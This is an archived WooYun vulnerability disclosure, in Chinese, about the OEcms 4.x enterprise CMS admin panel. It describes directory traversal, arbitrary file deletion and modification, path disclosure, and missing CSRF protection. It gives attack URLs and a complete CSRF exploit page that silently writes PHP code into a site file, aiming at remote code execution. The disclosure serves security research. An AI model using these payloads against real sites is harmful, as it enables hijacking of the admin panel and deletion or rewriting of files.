当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067089

漏洞标题:代码审计系列9: OEcms 远程代码执行(CSRF)

相关厂商:OECMS

漏洞作者: LaiX

提交时间:2014-07-03 11:22

修复时间:2014-10-01 11:24

公开时间:2014-10-01 11:24

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-10-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

OECMS Ver 4.X(企业网站系统)是由奥壹技术(OEdev)基于自主研发的OEPHP架构体系开发的一套企业建站系统。OEcms采用MVC开发模式,轻巧、灵活、易用、易于二次开发。OEcms新版支持7种模型:文章模型、产品模型、图库模型、下载模型、招聘模型、单页模型和外部模型,支持自定义字段、支持自定义模板文件、支持自定义模型SEO等;用户可在后台添加、修改、删除模型,随心所遇建立属于自己的企业网站。

详细说明:

问题1.
后台-界面模板-模板管理-模板文件 处存在 任意目录遍历、任意文件删除、任意文件修改、绝对路径泄露等漏洞。
问题2.
整个后台都没有对CSRF进行任何防护措施。可以导致攻击者劫持操纵作后台,添加管理账户等危险操作。

漏洞证明:

例:目录遍历

http://localhost/admincp.php?c=templet&dir=\..\..\..\


2.png


例:任意文件修改

3.png


例:任意文件删除

http://localhost/admincp.php?c=templet&a=delfile&id=%5C%5C..%5C%5C..%5C%5C..%5C%5C%2Findex.php


远程删掉index.php文件
例:绝对路径泄露

1.png


再证明一个最危险的例子。
通过 问题1+问题2 可以实现对该CMS进行CSRF执行远程代码的攻击,从而GETSHELL。
exp:

<html>
<meta charset = "utf-8">
<title>正在跳转...</title>
</html>
<h1>正在跳转...</h1>
<body>
<iframe id="_iframe" src="about:blank" style='display:none'></iframe>
</body>
<script>
function CSRF()
{
var topWin = window.top.document.getElementById("_iframe").contentWindow;
topWin.document.write(
"<form id='_form' action='http://localhost/admincp.php?c=templet&a=saveedit' method='post'>"
+"<input type='hidden' name='id' value='/../../..//source/plugin/index.php'>"
+"<input type='hidden' name='dir' value='/../../..//source/plugin'>"
+"<input type='hidden' name='content' value='<?php phpinfo(); ?>'>"
+"</form>"
+"<script>document.getElementById('_form').submit();<\/script>"
);
}
CSRF();
window.setTimeout("window.location.href='http://www.baidu.com/'", 5000); //延迟5秒后跳转到指定网页
</script>
</html>


首先构造一个EXP。将构造好的EXP地址留言到目标的CMS
当管理员打开我精心构造的网址之后:
这个文件被修改成:

4.png


我们再来访问

5.png


修复方案:

版权声明:转载请注明来源 LaiX@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝